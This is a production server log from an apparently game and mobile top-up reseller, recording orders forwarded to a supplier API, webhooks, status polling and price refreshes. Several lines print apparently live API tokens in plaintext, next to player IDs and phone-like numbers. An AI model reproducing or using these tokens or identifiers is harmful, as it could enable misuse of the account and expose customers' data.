[2026-03-24 23:18:21] production.INFO: Operation sent successfully {"operation_id":164402,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-RZ0e-1774383501","amount":4.36956519999999937198253974202089011669158935546875,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 23:18:21"}},"processed_data":{"order_number":"ORD-RZ0e-1774383501","amount":4.36956519999999937198253974202089011669158935546875,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 23:18:26] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-uAatttsQ-1774383494","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 23:18:26] production.INFO: Processed webhook data (normalized) {"id":"ORD-uAatttsQ-1774383494","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:18:26] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:18:26] production.INFO: SendAcceptReject: Notification queued {"user_id":1751,"notification_type":"order_approved","reference_id":179532} 
[2026-03-24 23:18:26] production.INFO: Order updated successfully. Order ID: 179532, Status: completed  
[2026-03-24 23:18:26] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-uAatttsQ-1774383494","status":"completed","codes_count":0} 
[2026-03-24 23:18:26] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-RZ0e-1774383501","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 23:18:26] production.INFO: Processed webhook data (normalized) {"id":"ORD-RZ0e-1774383501","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 23:18:26] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:18:26] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"order_approved","reference_id":179533} 
[2026-03-24 23:18:26] production.INFO: Order updated successfully. Order ID: 179533, Status: completed  
[2026-03-24 23:18:26] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-RZ0e-1774383501","status":"completed","codes_count":0} 
[2026-03-24 23:18:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1751  
[2026-03-24 23:18:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 23:18:28] production.INFO: Constructing job for order: 179534  
[2026-03-24 23:18:30] production.INFO: Handling job for order: 179534  
[2026-03-24 23:18:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:18:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:18:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a7b22acf-55ad-4d65-9ed4-5b67e87e4c20&Player_ID=52395294976  
[2026-03-24 23:18:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a7b22acf-55ad-4d65-9ed4-5b67e87e4c20&Player_ID=52395294976","has_body":false} 
[2026-03-24 23:18:31] production.INFO: Operation sent successfully {"operation_id":164403,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-n7IVy-1774383511","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 23:18:31"}},"processed_data":{"order_number":"ORD-n7IVy-1774383511","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 23:18:47] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-n7IVy-1774383511","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 23:18:47] production.INFO: Processed webhook data (normalized) {"id":"ORD-n7IVy-1774383511","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:18:47] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:18:47] production.INFO: SendAcceptReject: Notification queued {"user_id":1751,"notification_type":"order_approved","reference_id":179534} 
[2026-03-24 23:18:47] production.INFO: Order updated successfully. Order ID: 179534, Status: completed  
[2026-03-24 23:18:47] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-n7IVy-1774383511","status":"completed","codes_count":0} 
[2026-03-24 23:18:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1751  
[2026-03-24 23:19:02] production.INFO: Constructing job for order: 179535  
[2026-03-24 23:19:04] production.INFO: Handling job for order: 179535  
[2026-03-24 23:19:04] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:19:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:19:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=28c92c4d-3b26-4f74-b2c2-12524764b1be&Player_ID=10816506024  
[2026-03-24 23:19:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=28c92c4d-3b26-4f74-b2c2-12524764b1be&Player_ID=10816506024","has_body":false} 
[2026-03-24 23:19:05] production.INFO: Operation sent successfully {"operation_id":164404,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Dc5rY9-1774383545","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 23:19:05"}},"processed_data":{"order_number":"ORD-Dc5rY9-1774383545","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 23:19:14] production.INFO: Constructing job for order: 179536  
[2026-03-24 23:19:17] production.INFO: Handling job for order: 179536  
[2026-03-24 23:19:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:19:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:19:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=ba99ac3e-9c0f-45ba-b415-4e3530c0f7b1&Player_ID=10816506024  
[2026-03-24 23:19:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=ba99ac3e-9c0f-45ba-b415-4e3530c0f7b1&Player_ID=10816506024","has_body":false} 
[2026-03-24 23:19:18] production.INFO: Operation sent successfully {"operation_id":164405,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-pPi-1774383558","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 23:19:18"}},"processed_data":{"order_number":"ORD-pPi-1774383558","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 23:19:35] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Dc5rY9-1774383545","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 23:19:35] production.INFO: Processed webhook data (normalized) {"id":"ORD-Dc5rY9-1774383545","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:19:35] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:19:35] production.INFO: SendAcceptReject: Notification queued {"user_id":1617,"notification_type":"order_approved","reference_id":179535} 
[2026-03-24 23:19:35] production.INFO: Order updated successfully. Order ID: 179535, Status: completed  
[2026-03-24 23:19:35] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Dc5rY9-1774383545","status":"completed","codes_count":0} 
[2026-03-24 23:19:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1617  
[2026-03-24 23:19:56] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-pPi-1774383558","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 23:19:56] production.INFO: Processed webhook data (normalized) {"id":"ORD-pPi-1774383558","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:19:56] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:19:56] production.INFO: SendAcceptReject: Notification queued {"user_id":1617,"notification_type":"order_approved","reference_id":179536} 
[2026-03-24 23:19:56] production.INFO: Order updated successfully. Order ID: 179536, Status: completed  
[2026-03-24 23:19:56] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-pPi-1774383558","status":"completed","codes_count":0} 
[2026-03-24 23:19:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1617  
[2026-03-24 23:20:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"EgWYVLkQnwwdmydmVlLfFHKBqa0lqLFs","execution_time":"2026-03-24 23:20:03"} 
[2026-03-24 23:20:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"EgWYVLkQnwwdmydmVlLfFHKBqa0lqLFs","execution_time":"2026-03-24 23:20:03"} 
[2026-03-24 23:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 23:20:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 23:20:05] production.INFO: async() رجع: true  
[2026-03-24 23:20:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:20:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:20:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:20:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:20:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:20:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:20:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:20:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:20:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:20:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:20:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:22:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"GKl2jtfSR0Ppmwfn8sX03KegM88APKZx","execution_time":"2026-03-24 23:22:01"} 
[2026-03-24 23:22:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"GKl2jtfSR0Ppmwfn8sX03KegM88APKZx","execution_time":"2026-03-24 23:22:01"} 
[2026-03-24 23:24:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"jCgf8G7ohPEzv74aZ3CNmaxj941emYg7","execution_time":"2026-03-24 23:24:01"} 
[2026-03-24 23:24:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"jCgf8G7ohPEzv74aZ3CNmaxj941emYg7","execution_time":"2026-03-24 23:24:01"} 
[2026-03-24 23:24:47] production.INFO: Constructing job for order: 179537  
[2026-03-24 23:24:49] production.INFO: Handling job for order: 179537  
[2026-03-24 23:24:49] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:24:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:24:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/15/params?qty=1&uuid=aff85871-4d92-46bb-97c9-1d8b3fb60159&Player_ID=0944318183  
[2026-03-24 23:24:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/15/params?qty=1&uuid=aff85871-4d92-46bb-97c9-1d8b3fb60159&Player_ID=0944318183","has_body":false} 
[2026-03-24 23:24:49] production.INFO: Operation sent successfully {"operation_id":164406,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dXkZ-1774383889","amount":422.1344000000000278305378742516040802001953125,"status":"processing","product":"400 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:24:49"}},"processed_data":{"order_number":"ORD-dXkZ-1774383889","amount":422.1344000000000278305378742516040802001953125,"status":"processing","product":"400 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 23:25:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 23:25:04] production.INFO: async() رجع: true  
[2026-03-24 23:25:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:25:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:25:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:25:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:25:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:25:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:25:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:25:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:25:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:25:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:25:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:25:44] production.INFO: Constructing job for order: 179538  
[2026-03-24 23:25:47] production.INFO: Handling job for order: 179538  
[2026-03-24 23:25:47] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:25:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:25:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=8173ec02-4b44-479e-ac4b-3d71f9fb9366&Player_ID=0952116353  
[2026-03-24 23:25:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=8173ec02-4b44-479e-ac4b-3d71f9fb9366&Player_ID=0952116353","has_body":false} 
[2026-03-24 23:25:48] production.INFO: Operation sent successfully {"operation_id":164407,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-r1vkFbMG-1774383948","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:25:48"}},"processed_data":{"order_number":"ORD-r1vkFbMG-1774383948","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:26:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03"} 
[2026-03-24 23:26:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","total_operations":2,"sites_count":1} 
[2026-03-24 23:26:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-dXkZ-1774383889","ORD-r1vkFbMG-1774383948"]} 
[2026-03-24 23:26:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 23:26:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 23:26:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407} 
[2026-03-24 23:26:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 23:26:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:26:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"count":1} 
[2026-03-24 23:26:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"count":1} 
[2026-03-24 23:26:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"user_id":125,"notification_type":"order_approved","reference_id":179537} 
[2026-03-24 23:26:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:26:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:26:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"processed":1,"errors":0} 
[2026-03-24 23:26:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"processed":1,"errors":0} 
[2026-03-24 23:26:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"eM0fuFq31OzwTcxJXlhQeByRAlIqhIPi","execution_time":"2026-03-24 23:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407} 
[2026-03-24 23:26:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 23:28:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03"} 
[2026-03-24 23:28:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","total_operations":1,"sites_count":1} 
[2026-03-24 23:28:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-r1vkFbMG-1774383948"]} 
[2026-03-24 23:28:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 23:28:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 23:28:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 23:28:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:28:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"count":1} 
[2026-03-24 23:28:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"count":1} 
[2026-03-24 23:28:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"user_id":1158,"notification_type":"order_approved","reference_id":179538} 
[2026-03-24 23:28:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:28:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:28:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"processed":1,"errors":0} 
[2026-03-24 23:28:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407,"processed":1,"errors":0} 
[2026-03-24 23:28:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"atCFHNkVKqa1hoyyDB8HRgvptmRsxsF6","execution_time":"2026-03-24 23:28:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r1vkFbMG-1774383948","operation_id":164407} 
[2026-03-24 23:28:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1158  
[2026-03-24 23:30:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"V56ChdFD7vPeLVDXdrTIfNPaLGWibRo8","execution_time":"2026-03-24 23:30:03"} 
[2026-03-24 23:30:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"V56ChdFD7vPeLVDXdrTIfNPaLGWibRo8","execution_time":"2026-03-24 23:30:03"} 
[2026-03-24 23:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 23:30:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 23:30:05] production.INFO: async() رجع: true  
[2026-03-24 23:30:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:30:06] production.INFO: Constructing job for order: 179539  
[2026-03-24 23:30:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:30:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:30:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:30:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:30:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:30:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:30:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:30:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:30:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:30:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:30:07] production.INFO: Handling job for order: 179539  
[2026-03-24 23:30:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:30:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:30:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=5000&uuid=50100591-a340-435e-a68f-336fe16dcde1&Player_ID=43248797  
[2026-03-24 23:30:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=5000&uuid=50100591-a340-435e-a68f-336fe16dcde1&Player_ID=43248797","has_body":false} 
[2026-03-24 23:30:08] production.INFO: Operation sent successfully {"operation_id":164408,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5a0v-1774384207","amount":8.583361499999998756038621650077402591705322265625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 23:30:08"}},"processed_data":{"order_number":"ORD-5a0v-1774384207","amount":8.583361499999998756038621650077402591705322265625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 23:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02"} 
[2026-03-24 23:32:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","total_operations":1,"sites_count":1} 
[2026-03-24 23:32:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-5a0v-1774384207"]} 
[2026-03-24 23:32:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 23:32:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 23:32:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5a0v-1774384207","operation_id":164408,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 23:32:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"HjnfJD3ODMrrWrkxTzWeK0NBIYdVt2xq","execution_time":"2026-03-24 23:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5a0v-1774384207","operation_id":164408,"total_items":1,"chunks":1,"chunk_size":10} 
